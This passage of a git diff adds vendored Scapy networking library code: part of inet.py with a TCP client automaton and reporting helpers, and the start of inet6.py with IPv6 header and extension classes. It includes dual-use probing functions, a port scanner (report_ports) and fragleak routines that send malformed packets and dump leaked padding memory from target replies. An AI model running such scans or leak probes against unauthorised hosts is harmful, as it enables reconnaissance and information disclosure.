outgoing_data_received(self, fd): + raise self.ESTABLISHED().action_parameters(fd.recv()) + + @ATMT.action(outgoing_data_received) + def send_data(self, d): + self.l4[TCP].flags = "PA" + self.send(self.l4 / d) + self.l4[TCP].seq += len(d) + + @ATMT.receive_condition(ESTABLISHED) + def reset_received(self, pkt): + if pkt[TCP].flags.R: + raise self.CLOSED() + + @ATMT.receive_condition(ESTABLISHED) + def fin_received(self, pkt): + if pkt[TCP].flags.F: + raise self.LAST_ACK().action_parameters(pkt) + + @ATMT.action(fin_received) + def send_finack(self, pkt): + self.l4[TCP].flags = "FA" + self.l4[TCP].ack = pkt[TCP].seq + 1 + self.send(self.l4) + self.l4[TCP].seq += 1 + + @ATMT.receive_condition(LAST_ACK) + def ack_of_fin_received(self, pkt): + if pkt[TCP].flags.A: + raise self.CLOSED() + + +##################### +# Reporting stuff # +##################### + + +@conf.commands.register +def report_ports(target, ports): + """portscan a target and output a LaTeX table +report_ports(target, ports) -> string""" + ans, unans = sr(IP(dst=target) / TCP(dport=ports), timeout=5) + rep = "\\begin{tabular}{|r|l|l|}\n\\hline\n" + for s, r in ans: + if not r.haslayer(ICMP): + if r.payload.flags == 0x12: + rep += r.sprintf("%TCP.sport% & open & SA \\\\\n") + rep += "\\hline\n" + for s, r in ans: + if r.haslayer(ICMP): + rep += r.sprintf("%TCPerror.dport% & closed & ICMP type %ICMP.type%/%ICMP.code% from %IP.src% \\\\\n") # noqa: E501 + elif r.payload.flags != 0x12: + rep += r.sprintf("%TCP.sport% & closed & TCP %TCP.flags% \\\\\n") + rep += "\\hline\n" + for i in unans: + rep += i.sprintf("%TCP.dport% & ? & unanswered \\\\\n") + rep += "\\hline\n\\end{tabular}\n" + return rep + + +@conf.commands.register +def IPID_count(lst, funcID=lambda x: x[1].id, funcpres=lambda x: x[1].summary()): # noqa: E501 + """Identify IP id values classes in a list of packets + +lst: a list of packets +funcID: a function that returns IP id values +funcpres: a function used to summarize packets""" + idlst = [funcID(e) for e in lst] + idlst.sort() + classes = [idlst[0]] + classes += [t[1] for t in zip(idlst[:-1], idlst[1:]) if abs(t[0] - t[1]) > 50] # noqa: E501 + lst = [(funcID(x), funcpres(x)) for x in lst] + lst.sort() + print("Probably %i classes:" % len(classes), classes) + for id, pr in lst: + print("%5i" % id, pr) + + +@conf.commands.register +def fragleak(target, sport=123, dport=123, timeout=0.2, onlyasc=0, count=None): + load = "XXXXYYYYYYYYYY" + pkt = IP(dst=target, id=RandShort(), options=b"\x00" * 40, flags=1) + pkt /= UDP(sport=sport, dport=sport) / load + s = conf.L3socket() + intr = 0 + found = {} + try: + while count is None or count: + if count is not None and isinstance(count, int): + count -= 1 + try: + if not intr: + s.send(pkt) + sin = select.select([s], [], [], timeout)[0] + if not sin: + continue + ans = s.recv(1600) + if not isinstance(ans, IP): # TODO: IPv6 + continue + if not isinstance(ans.payload, ICMP): + continue + if not isinstance(ans.payload.payload, IPerror): + continue + if ans.payload.payload.dst != target: + continue + if ans.src != target: + print("leak from", ans.src) + if not ans.haslayer(conf.padding_layer): + continue + leak = ans.getlayer(conf.padding_layer).load + if leak not in found: + found[leak] = None + linehexdump(leak, onlyasc=onlyasc) + except KeyboardInterrupt: + if intr: + raise + intr = 1 + except KeyboardInterrupt: + pass + + +@conf.commands.register +def fragleak2(target, timeout=0.4, onlyasc=0, count=None): + found = {} + try: + while count is None or count: + if count is not None and isinstance(count, int): + count -= 1 + + pkt = IP(dst=target, options=b"\x00" * 40, proto=200) + pkt /= "XXXXYYYYYYYYYYYY" + p = sr1(pkt, timeout=timeout, verbose=0) + if not p: + continue + if conf.padding_layer in p: + leak = p[conf.padding_layer].load + if leak not in found: + found[leak] = None + linehexdump(leak, onlyasc=onlyasc) + except Exception: + pass + + +conf.stats_classic_protocols += [TCP, UDP, ICMP] +conf.stats_dot11_protocols += [TCP, UDP, ICMP] + +if conf.ipv6_enabled: + import scapy.layers.inet6 diff --git a/libs/scapy/layers/inet6.py b/libs/scapy/layers/inet6.py new file mode 100755 index 0000000..62d992a --- /dev/null +++ b/libs/scapy/layers/inet6.py @@ -0,0 +1,3997 @@ +############################################################################# +# # +# inet6.py --- IPv6 support for Scapy # +# see http://natisbad.org/IPv6/ # +# for more information # +# # +# Copyright (C) 2005 Guillaume Valadon # +# Arnaud Ebalard # +# # +# This program is free software; you can redistribute it and/or modify it # +# under the terms of the GNU General Public License version 2 as # +# published by the Free Software Foundation. # +# # +# This program is distributed in the hope that it will be useful, but # +# WITHOUT ANY WARRANTY; without even the implied warranty of # +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # +# General Public License for more details. # +# # +############################################################################# + +""" +IPv6 (Internet Protocol v6). +""" + + +from __future__ import absolute_import +from __future__ import print_function + +from hashlib import md5 +import random +import socket +import struct +from time import gmtime, strftime + +from scapy.arch import get_if_hwaddr +from scapy.as_resolvers import AS_resolver_riswhois +from scapy.base_classes import Gen +from scapy.compat import chb, orb, raw, plain_str, bytes_encode +from scapy.config import conf +from scapy.data import DLT_IPV6, DLT_RAW, DLT_RAW_ALT, ETHER_ANY, ETH_P_IPV6, \ + MTU +from scapy.error import warning +from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ + DestIP6Field, FieldLenField, FlagsField, IntField, IP6Field, \ + LongField, MACField, PacketLenField, PacketListField, ShortEnumField, \ + ShortField, SourceIP6Field, StrField, StrFixedLenField, StrLenField, \ + X3BytesField, XBitField, XIntField, XShortField +from scapy.layers.inet import IP, IPTools, TCP, TCPerror, TracerouteResult, \ + UDP, UDPerror +from scapy.layers.l2 import CookedLinux, Ether, GRE, Loopback, SNAP +import scapy.modules.six as six +from scapy.packet import bind_layers, Packet, Raw +from scapy.sendrecv import sendp, sniff, sr, srp1 +from scapy.supersocket import SuperSocket, L3RawSocket +from scapy.utils import checksum, strxor +from scapy.pton_ntop import inet_pton, inet_ntop +from scapy.utils6 import in6_getnsma, in6_getnsmac, in6_isaddr6to4, \ + in6_isaddrllallnodes, in6_isaddrllallservers, in6_isaddrTeredo, \ + in6_isllsnmaddr, in6_ismaddr, Net6, teredoAddrExtractInfo +from scapy.volatile import RandInt, RandShort + +if not socket.has_ipv6: + raise socket.error("can't use AF_INET6, IPv6 is disabled") +if not hasattr(socket, "IPPROTO_IPV6"): + # Workaround for http://bugs.python.org/issue6926 + socket.IPPROTO_IPV6 = 41 +if not hasattr(socket, "IPPROTO_IPIP"): + # Workaround for https://bitbucket.org/secdev/scapy/issue/5119 + socket.IPPROTO_IPIP = 4 + +if conf.route6 is None: + # unused import, only to initialize conf.route6 + import scapy.route6 # noqa: F401 + +########################## +# Neighbor cache stuff # +########################## + +conf.netcache.new_cache("in6_neighbor", 120) + + +@conf.commands.register +def neighsol(addr, src, iface, timeout=1, chainCC=0): + """Sends and receive an ICMPv6 Neighbor Solicitation message + + This function sends an ICMPv6 Neighbor Solicitation message + to get the MAC address of the neighbor with specified IPv6 address address. + + 'src' address is used as source of the message. Message is sent on iface. + By default, timeout waiting for an answer is 1 second. + + If no answer is gathered, None is returned. Else, the answer is + returned (ethernet frame). + """ + + nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr)) + d = inet_ntop(socket.AF_INET6, nsma) + dm = in6_getnsmac(nsma) + p = Ether(dst=dm) / IPv6(dst=d, src=src, hlim=255) + p /= ICMPv6ND_NS(tgt=addr) + p /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface)) + res = srp1(p, type=ETH_P_IPV6, iface=iface, timeout=1, verbose=0, + chainCC=chainCC) + + return res + + +@conf.commands.register +def getmacbyip6(ip6, chainCC=0): + """Returns the MAC address corresponding to an IPv6 address + + neighborCache.get() method is used on instantiated neighbor cache. + Resolution mechanism is described in associated doc string. + + (chainCC parameter value ends up being passed to sending function + used to perform the resolution, if needed) + """ + + if isinstance(ip6, Net6): + ip6 = str(ip6) + + if in6_ismaddr(ip6): # Multicast + mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6)) + return mac + + iff, a, nh = conf.route6.route(ip6) + + if iff == conf.loopback_name: + return "ff:ff:ff:ff:ff:ff" + + if nh != '::': + ip6 = nh # Found next hop + + mac = conf.netcache.in6_neighbor.get(ip6) + if mac: + return mac + + res = neighsol(ip6, a, iff, chainCC=chainCC) + + if res is not None: + if ICMPv6NDOptDstLLAddr in res: + mac = res[ICMPv6NDOptDstLLAddr].lladdr + else: + mac = res.src + conf.netcache.in6_neighbor[ip6] = mac + return mac + + return None + + +############################################################################# +############################################################################# +# IPv6 Class # +############################################################################# +############################################################################# + +ipv6nh = {0: "Hop-by-Hop Option Header", + 4: "IP", + 6: "TCP", + 17: "UDP", + 41: "IPv6", + 43: "Routing Header", + 44: "Fragment Header", + 47: "GRE", + 50: "ESP Header", + 51: "AH Header", + 58: "ICMPv6", + 59: "No Next Header", + 60: "Destination Option Header", + 112: "VRRP", + 132: "SCTP", + 135: "Mobility Header"} + +ipv6nhcls = {0: "IPv6ExtHdrHopByHop", + 4: "IP", + 6: "TCP", + 17: "UDP", + 43: "IPv6ExtHdrRouting", + 44: "IPv6ExtHdrFragment", + 50: "ESP", + 51: "AH", + 58: "ICMPv6Unknown", + 59: "Raw", + 60: "IPv6ExtHdrDestOpt"} + + +class IP6ListField(StrField): + __slots__ = ["count_from", "length_from"] + islist = 1 + + def __init__(self, name, default, count_from=None, length_from=None): + if default is None: + default = [] + StrField.__init__(self, name, default) + self.count_from = count_from + self.length_from = length_from + + def i2len(self, pkt, i): + return 16 * len(i) + + def i2count(self, pkt, i): + if isinstance(i, list): + return len(i) + return 0 + + def getfield(self, pkt, s): + c = tmp_len = None + if self.length_from is not None: + tmp_len = self.length_from(pkt) + elif self.count_from is not None: + c = self.count_from(pkt) + + lst = [] + ret = b"" + remain = s + if tmp_len is not None: + remain, ret = s[:tmp_len], s[tmp_len:] + while remain: + if c is not None: + if c <= 0: + break + c -= 1 + addr = inet_ntop(socket.AF_INET6, remain[:16]) + lst.append(addr) + remain = remain[16:] + return remain + ret, lst + + def i2m(self, pkt, x): + s = b"" + for y in x: + try: + y = inet_pton(socket.AF_INET6, y) + except Exception: + y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0] + y = inet_pton(socket.AF_INET6, y) + s += y + return s + + def i2repr(self, pkt, x): + s = [] + if x is None: + return "[]" + for y in x: + s.append('%s' % y) + return "[ %s ]" % (", ".join(s)) + + +class _IPv6GuessPayload: + name = "Dummy class that implements guess_payload_class() for IPv6" + + def default_payload_class(self, p): + if self.nh == 58: # ICMPv6 + t = orb(p[0]) + if len(p) > 2 and (t == 139 or t == 140): # Node Info Query + return _niquery_guesser(p) + if len(p) >= icmp6typesminhdrlen.get(t, float("inf")): # Other ICMPv6 messages # noqa: E501 + if t == 130 and len(p) >= 28: + # RFC 3810 - 8.1. Query Version Distinctions + return ICMPv6MLQuery2 + return icmp6typescls.get(t, Raw) + return Raw + elif self.nh == 135 and len(p) > 3: # Mobile IPv6 + return _mip6_mhtype2cls.get(orb(p[2]), MIP6MH_Generic) + elif self.nh == 43 and orb(p[2]) == 4: # Segment Routing header + return IPv6ExtHdrSegmentRouting + return ipv6nhcls.get(self.nh, Raw) + + +class IPv6(_IPv6GuessPayload, Packet, IPTools): + name = "IPv6" + fields_desc = [BitField("version", 6, 4), + BitField("tc", 0, 8), # TODO: IPv6, ByteField ? + BitField("fl", 0, 20), + ShortField("plen", None), + ByteEnumField("nh", 59, ipv6nh), + ByteField("hlim", 64), + SourceIP6Field("src", "dst"), # dst is for src @ selection + DestIP6Field("dst", "::1")] + + def route(self): + """Used to select the L2 address""" + dst = self.dst + if isinstance(dst, Gen): + dst = next(iter(dst)) + return conf.route6.route(dst) + + def mysummary(self): + return "%s > %s (%i)" % (self.src, self.dst, self.nh) + + def post_build(self, p, pay): + p += pay + if self.plen is None: + tmp_len = len(p) - 40 + p = p[:4] + struct.pack("!H", tmp_len) + p[6:] + return p + + def extract_padding(self, data): + """Extract the IPv6 payload""" + + if self.plen == 0 and self.nh == 0 and len(data) >= 8: + # Extract Hop-by-Hop extension length + hbh_len = orb(data[1]) + hbh_len = 8 + hbh_len * 8 + + # Extract length from the Jumbogram option + # Note: the following algorithm take advantage of the Jumbo option + # mandatory alignment (4n + 2, RFC2675 Section 2) + jumbo_len = None + idx = 0 + offset = 4 * idx + 2 + while offset <= len(data): + opt_type = orb(data[offset]) + if opt_type == 0xc2: # Jumbo option + jumbo_len = struct.unpack("I", data[offset + 2:offset + 2 + 4])[0] # noqa: E501 + break + offset = 4 * idx + 2 + idx += 1 + + if jumbo_len is None: + warning("Scapy did not find a Jumbo option") + jumbo_len = 0 + + tmp_len = hbh_len + jumbo_len + else: + tmp_len = self.plen + + return data[:tmp_len], data[tmp_len:] + + def hashret(self): + if self.nh == 58 and isinstance(self.payload, _ICMPv6): + if self.payload.type < 128: + return self.payload.payload.hashret() + elif (self.payload.type in [133, 134, 135, 136, 144, 145]): + return struct.pack("B", self.nh) + self.payload.hashret() + + if not conf.checkIPinIP and self.nh in [4, 41]: # IP, IPv6 + return self.payload.hashret() + + nh = self.nh + sd = self.dst + ss = self.src + if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting): + # With routing header, the destination is the last + # address of the IPv6 list if segleft > 0 + nh = self.payload.nh + try: + sd = self.addresses[-1] + except IndexError: + sd = '::1' + # TODO: big bug with ICMPv6 error messages as the destination of IPerror6 # noqa: E501 + # could be anything from the original list ... + if 1: + sd = inet_pton(socket.AF_INET6, sd) + for a in self.addresses: + a = inet_pton(socket.AF_INET6, a) + sd = strxor(sd, a) + sd = inet_ntop(socket.AF_INET6, sd) + + if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrSegmentRouting): # noqa: E501 + # With segment routing header (rh == 4), the destination is + # the first address of the IPv6 addresses list + try: + sd = self.addresses[0] + except IndexError: + sd = self.dst + + if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment): + nh = self.payload.nh + + if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop): + nh = self.payload.nh + + if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): + foundhao = None + for o in self.payload.options: + if isinstance(o, HAO): + foundhao = o + if foundhao: + nh = self.payload.nh # XXX what if another extension follows ? + ss = foundhao.hoa + + if conf.checkIPsrc and conf.checkIPaddr and not in6_ismaddr(sd): + sd = inet_pton(socket.AF_INET6, sd) + ss = inet_pton(socket.AF_INET6, ss) + return strxor(sd, ss) + struct.pack("B", nh) + self.payload.hashret() # noqa: E501 + else: + return struct.pack("B", nh) + self.payload.hashret() + + def answers(self, other): + if not conf.checkIPinIP: # skip IP in IP and IPv6 in IP + if self.nh in [4, 41]: + return self.payload.answers(other) + if isinstance(other, IPv6) and other.nh in [4, 41]: + return self.answers(other.payload) + if isinstance(other, IP) and other.proto in [4, 41]: + return self.answers(other.payload) + if not isinstance(other, IPv6): # self is reply, other is request + return False + if conf.checkIPaddr: + # ss = inet_pton(socket.AF_INET6, self.src) + sd = inet_pton(socket.AF_INET6, self.dst) + os = inet_pton(socket.AF_INET6, other.src) + od = inet_pton(socket.AF_INET6, other.dst) + # request was sent to a multicast address (other.dst) + # Check reply destination addr matches request source addr (i.e + # sd == os) except when reply is multicasted too + # XXX test mcast scope matching ? + if in6_ismaddr(other.dst): + if in6_ismaddr(self.dst): + if ((od == sd) or + (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))): # noqa: E501 + return self.payload.answers(other.payload) + return False + if (os == sd): + return self.payload.answers(other.payload) + return False + elif (sd != os): # or ss != od): <- removed for ICMP errors + return False + if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128: # noqa: E501 + # ICMPv6 Error message -> generated by IPv6 packet + # Note : at the moment, we jump the ICMPv6 specific class + # to call answers() method of erroneous packet (over + # initial packet). There can be cases where an ICMPv6 error + # class could implement a specific answers method that perform + # a specific task. Currently, don't see any use ... + return self.payload.payload.answers(other) + elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop): + return self.payload.answers(other.payload) + elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment): + return self.payload.answers(other.payload.payload) + elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting): + return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting # noqa: E501 + elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrSegmentRouting): # noqa: E501 + return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting # noqa: E501 + elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt): + return self.payload.payload.answers(other.payload.payload) + elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance # noqa: E501 + return self.payload.payload.answers(other.payload) + else: + if (self.nh != other.nh): + return False + return self.payload.answers(other.payload) + + +class _IPv46(IP): + """ + This class implements a dispatcher that is used to detect the IP version + while parsing Raw IP pcap files. + """ + @classmethod + def dispatch_hook(cls, _pkt=None, *_, **kargs): + if _pkt: + if orb(_pkt[0]) >> 4 == 6: + return IPv6 + elif kargs.get("version") == 6: + return IPv6 + return IP + + +def inet6_register_l3(l2, l3): + return getmacbyip6(l3.dst) + + +conf.neighbor.register_l3(Ether, IPv6, inet6_register_l3) + + +class IPerror6(IPv6): + name = "IPv6 in ICMPv6" + + def answers(self, other): + if not isinstance(other, IPv6): + return False + sd = inet_pton(socket.AF_INET6, self.dst) + ss = inet_pton(socket.AF_INET6, self.src) + od = inet_pton(socket.AF_INET6, other.dst) + os = inet_pton(socket.AF_INET6, other.src) + + # Make sure that the ICMPv6 error is related to the packet scapy sent + if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128: + + # find upper layer for self (possible citation) + selfup = self.payload + while selfup is not None and isinstance(selfup, _IPv6ExtHdr): + selfup = selfup.payload + + # find upper layer for other (initial packet). Also look for RH + otherup = other.payload + request_has_rh = False + while otherup is not None and isinstance(otherup, _IPv6ExtHdr): + if isinstance(otherup, IPv6ExtHdrRouting): + request_has_rh = True + otherup = otherup.payload + + if ((ss == os and sd == od) or # < Basic case + (ss == os and request_has_rh)): + # ^ Request has a RH : don't check dst address + + # Let's deal with possible MSS Clamping + if (isinstance(selfup, TCP) and + isinstance(otherup, TCP) and + selfup.options != otherup.options): # seems clamped + + # Save fields modified by MSS clamping + old_otherup_opts = otherup.options + old_otherup_cksum = otherup.chksum + old_otherup_dataofs = otherup.dataofs + old_selfup_opts = selfup.options + old_selfup_cksum = selfup.chksum + old_selfup_dataofs = selfup.dataofs + + # Nullify them + otherup.options = [] + otherup.chksum = 0 + otherup.dataofs = 0 + selfup.options = [] + selfup.chksum = 0 + selfup.dataofs = 0 + + # Test it and save result + s1 = raw(selfup) + s2 = raw(otherup) + tmp_len = min(len(s1), len(s2)) + res = s1[:tmp_len] == s2[:tmp_len] + + # recall saved values + otherup.options = old_otherup_opts + otherup.chksum = old_otherup_cksum + otherup.dataofs = old_otherup_dataofs + selfup.options = old_selfup_opts + selfup.chksum = old_selfup_cksum + selfup.dataofs = old_selfup_dataofs + + return res + + s1 = raw(selfup) + s2 = raw(otherup) + tmp_len = min(len(s1), len(s2)) + return s1[:tmp_len] == s2[:tmp_len] + + return False + + def mysummary(self): + return Packet.mysummary(self) + + +############################################################################# +############################################################################# +# Upper Layer Checksum computation # +############################################################################# +############################################################################# + +class PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation + name = "Pseudo IPv6 Header" + fields_desc = [IP6Field("src", "::"), + IP6Field("dst", "::"), + ShortField("uplen", None), + BitField("zero", 0, 24), + ByteField("nh", 0)] + + +def in6_chksum(nh, u, p): + """ + As Specified in RFC 2460 - 8.1 Upper-Layer Checksums + + Performs IPv6 Upper Layer checksum computation. + + This function operates by filling a pseudo header class instance + (PseudoIPv6) with: + - Next Header value + - the address of _final_ destination (if some Routing Header with non + segleft field is present in underlayer classes, last address is used.) + - the address of _real_ source (basically the source address of an + IPv6 class instance available in the underlayer or the source address + in HAO option if some Destination Option header found in underlayer + includes this option). + - the length is the length of provided payload string ('p') + + :param nh: value of upper layer protocol + :param u: upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be + provided with all under layers (IPv6 and all extension headers, + for example) + :param p: the payload of the upper layer provided as a string + """ + + ph6 = PseudoIPv6() + ph6.nh = nh + rthdr = 0 + hahdr = 0 + final_dest_addr_found = 0 + while u is not None and not isinstance(u, IPv6): + if (isinstance(u, IPv6ExtHdrRouting) and + u.segleft != 0 and len(u.addresses) != 0 and + final_dest_addr_found == 0): + rthdr = u.addresses[-1] + final_dest_addr_found = 1 + elif (isinstance(u, IPv6ExtHdrSegmentRouting) and + u.segleft != 0 and len(u.addresses) != 0 and + final_dest_addr_found == 0): + rthdr = u.addresses[0] + final_dest_addr_found = 1 + elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and + isinstance(u.options[0], HAO)): + hahdr = u.options[0].hoa + u = u.underlayer + if u is None: + warning("No IPv6 underlayer to compute checksum. Leaving null.") + return 0 + if hahdr: + ph6.src = hahdr + else: + ph6.src = u.src + if rthdr: + ph6.dst = rthdr + else: + ph6.dst = u.dst + ph6.uplen = len(p) + ph6s = raw(ph6) + return checksum(ph6s + p) + + +############################################################################# +############################################################################# +# Extension Headers # +############################################################################# +############################################################################# + + +# Inherited by all extension header classes +class _IPv6ExtHdr(_IPv6GuessPayload, Packet): + name = 'Abstract IPv6 Option Header' + aliastypes = [IPv6, IPerror6] # TODO ... + + +# IPv6 options for Extension Headers # + +_hbhopts = {0x00: "Pad1", + 0x01: "PadN", + 0x04: "Tunnel Encapsulation Limit", + 0x05: "Router Alert", + 0x06: "Quick-Start", + 0xc2: "Jumbo Payload", + 0xc9: "Home Address Option"} + + +class _OTypeField(ByteEnumField): + """ + Modified BytEnumField that displays information regarding the IPv6 option + based on its option type value (What should be done by nodes that process + the option if they do not understand it ...) + + It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options + """ + pol = {0x00: "00: skip", + 0x40: "01: discard", + 0x80: "10: discard+ICMP", + 0xC0: "11: discard+ICMP not mcast"} + + enroutechange = {0x00: "0: Don't change en-route", + 0x20: "1: May change en-route"} + + def i2repr(self, pkt, x): + s = self.i2s.get(x, repr(x)) + polstr = self.pol[(x & 0xC0)] + enroutechangestr = self.enroutechange[(x & 0x20)] + return "%s [%s, %s]" % (s, polstr, enroutechangestr) + + +class HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option + name = "Scapy6 Unknown Option" + fields_desc = [_OTypeField("otype", 0x01, _hbhopts), + FieldLenField("optlen", None, length_of="optdata", fmt="B"), + StrLenField("optdata", "", + length_from=lambda pkt: pkt.optlen)] + + def alignment_delta(self, curpos): # By default, no alignment requirement + """ + As specified in section 4.2 of RFC 2460, every options has + an alignment requirement usually expressed xn+y, meaning + the Option Type must appear at an integer multiple of x octest + from the start of the header, plus y octet. + + That function is provided the current position from the + start of the header and returns required padding length. + """ + return 0 + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt: + o = orb(_pkt[0]) # Option type + if o in _hbhoptcls: + return _hbhoptcls[o] + return cls + + def extract_padding(self, p): + return b"", p + + +class Pad1(Packet): # IPv6 Hop-By-Hop Option + name = "Pad1" + fields_desc = [_OTypeField("otype", 0x00, _hbhopts)] + + def alignment_delta(self, curpos): # No alignment requirement + return 0 + + def extract_padding(self, p): + return b"", p + + +class PadN(Packet): # IPv6 Hop-By-Hop Option + name = "PadN" + fields_desc = [_OTypeField("otype", 0x01, _hbhopts), + FieldLenField("optlen", None, length_of="optdata", fmt="B"), + StrLenField("optdata", "", + length_from=lambda pkt: pkt.optlen)] + + def alignment_delta(self, curpos): # No alignment requirement + return 0 + + def extract_padding(self, p): + return b"", p + + +class RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option + name = "Router Alert" + fields_desc = [_OTypeField("otype", 0x05, _hbhopts), + ByteField("optlen", 2), + ShortEnumField("value", None, + {0: "Datagram contains a MLD message", + 1: "Datagram contains RSVP message", + 2: "Datagram contains an Active Network message", # noqa: E501 + 68: "NSIS NATFW NSLP", + 69: "MPLS OAM", + 65535: "Reserved"})] + # TODO : Check IANA has not defined new values for value field of RouterAlertOption # noqa: E501 + # TODO : Now that we have that option, we should do something in MLD class that need it # noqa: E501 + # TODO : IANA has defined ranges of values which can't be easily represented here. # noqa: E501 + # iana.org/assignments/ipv6-routeralert-values/ipv6-routeralert-values.xhtml + + def alignment_delta(self, curpos): # alignment requirement : 2n+0 + x = 2 + y = 0 + delta = x * ((curpos - y + x - 1) // x) + y - curpos + return delta + + def extract_padding(self, p): + return b"", p + + +class Jumbo(Packet): # IPv6 Hop-By-Hop Option + name = "Jumbo Payload" + fields_desc = [_OTypeField("otype", 0xC2, _hbhopts), + ByteField("optlen", 4), + IntField("jumboplen", None)] + + def alignment_delta(self, curpos): # alignment requirement : 4n+2 + x = 4 + y = 2 + delta = x * ((curpos - y + x - 1) // x) + y - curpos + return delta + + def extract_padding(self, p): + return b"", p + + +class HAO(Packet): # IPv6 Destination Options Header Option + name = "Home Address Option" + fields_desc = [_OTypeField("otype", 0xC9, _hbhopts), + ByteField("optlen", 16), + IP6Field("hoa", "::")] + + def alignment_delta(self, curpos): # alignment requirement : 8n+6 + x = 8 + y = 6 + delta = x * ((curpos - y + x - 1) // x) + y - curpos + return delta + + def extract_padding(self, p): + return b"", p + + +_hbhoptcls = {0x00: Pad1, + 0x01: PadN, + 0x05: RouterAlert, + 0xC2: Jumbo, + 0xC9: HAO} + + +# Hop-by-Hop Extension Header # + +class _OptionsField(PacketListField): + __slots__ = ["curpos"] + + def __init__(self, name, default, cls, curpos, *args, **kargs): + self.curpos = curpos + PacketListField.__init__(self, name, default, cls, *args, **kargs) + + def i2len(self, pkt, i): + return len(self.i2m(pkt, i)) + + def i2m(self, pkt, x): + autopad = None + try: + autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field + except Exception: + autopad = 1 + + if not autopad: + return b"".join(map(str, x)) + + curpos = self.curpos + s = b"" + for p in x: + d = p.alignment_delta(curpos) + curpos += d + if d == 1: + s += raw(Pad1()) + elif d != 0: + s += raw(PadN(optdata=b'\x00' * (d - 2))) + pstr = raw(p) + curpos += len(pstr) + s += pstr + + # Let's make the class including our option field + # a multiple of 8 octets long + d = curpos % 8 + if d == 0: + return s + d = 8 - d + if d == 1: + s += raw(Pad1()) + elif d != 0: + s += raw(PadN(optdata=b'\x00' * (d - 2))) + + return s + + def addfield(self, pkt, s, val): + return s + self.i2m(pkt, val) + + +class _PhantomAutoPadField(ByteField): + def addfield(self, pkt, s, val): + return s + + def getfield(self, pkt, s): + return s, 1 + + def i2repr(self, pkt, x): + if x: + return "On" + return "Off" + + +class IPv6ExtHdrHopByHop(_IPv6ExtHdr): + name = "IPv6 Extension Header - Hop-by-Hop Options Header" + fields_desc = [ByteEnumField("nh", 59, ipv6nh), + FieldLenField("len", None, length_of="options", fmt="B", + adjust=lambda pkt, x: (x + 2 + 7) // 8 - 1), + _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 + _OptionsField("options", [], HBHOptUnknown, 2, + length_from=lambda pkt: (8 * (pkt.len + 1)) - 2)] # noqa: E501 + overload_fields = {IPv6: {"nh": 0}} + + +# Destination Option Header # + +class IPv6ExtHdrDestOpt(_IPv6ExtHdr): + name = "IPv6 Extension Header - Destination Options Header" + fields_desc = [ByteEnumField("nh", 59, ipv6nh), + FieldLenField("len", None, length_of="options", fmt="B", + adjust=lambda pkt, x: (x + 2 + 7) // 8 - 1), + _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 + _OptionsField("options", [], HBHOptUnknown, 2, + length_from=lambda pkt: (8 * (pkt.len + 1)) - 2)] # noqa: E501 + overload_fields = {IPv6: {"nh": 60}} + + +# Routing Header # + +class IPv6ExtHdrRouting(_IPv6ExtHdr): + name = "IPv6 Option Header Routing" + fields_desc = [ByteEnumField("nh", 59, ipv6nh), + FieldLenField("len", None, count_of="addresses", fmt="B", + adjust=lambda pkt, x:2 * x), # in 8 bytes blocks # noqa: E501 + ByteField("type", 0), + ByteField("segleft", None), + BitField("reserved", 0, 32), # There is meaning in this field ... # noqa: E501 + IP6ListField("addresses", [], + length_from=lambda pkt: 8 * pkt.len)] + overload_fields = {IPv6: {"nh": 43}} + + def post_build(self, pkt, pay): + if self.segleft is None: + pkt = pkt[:3] + struct.pack("B", len(self.addresses)) + pkt[4:] + return _IPv6ExtHdr.post_build(self, pkt, pay) + + +# Segment Routing Header # + +# This implementation is based on draft 06, available at: +# https://tools.ietf.org/html/draft-ietf-6man-segment-routing-header-06 + +class IPv6ExtHdrSegmentRoutingTLV(Packet): + name = "IPv6 Option Header Segment Routing - Generic TLV" + fields_desc = [ByteField("type", 0), + ByteField("len", 0), + ByteField("reserved", 0), + ByteField("flags", 0), + StrLenField("value", "", length_from=lambda pkt: pkt.len)] + + def extract_padding(self, p): + return b"", p + + registered_sr_tlv = {} + + @classmethod + def register_variant(cls): + cls.registered_sr_tlv[cls.type.default] = cls + + @classmethod + def dispatch_hook(cls, pkt=None, *args, **kargs): + if pkt: + tmp_type = orb(pkt[0]) + return cls.registered_sr_tlv.get(tmp_type, cls) + return cls + + +class IPv6ExtHdrSegmentRoutingTLVIngressNode(IPv6ExtHdrSegmentRoutingTLV): + name = "IPv6 Option Header Segment Routing - Ingress Node TLV" + fields_desc = [ByteField("type", 1), + ByteField("len", 18), + ByteField("reserved", 0), + ByteField("flags", 0), + IP6Field("ingress_node", "::1")] + + +class 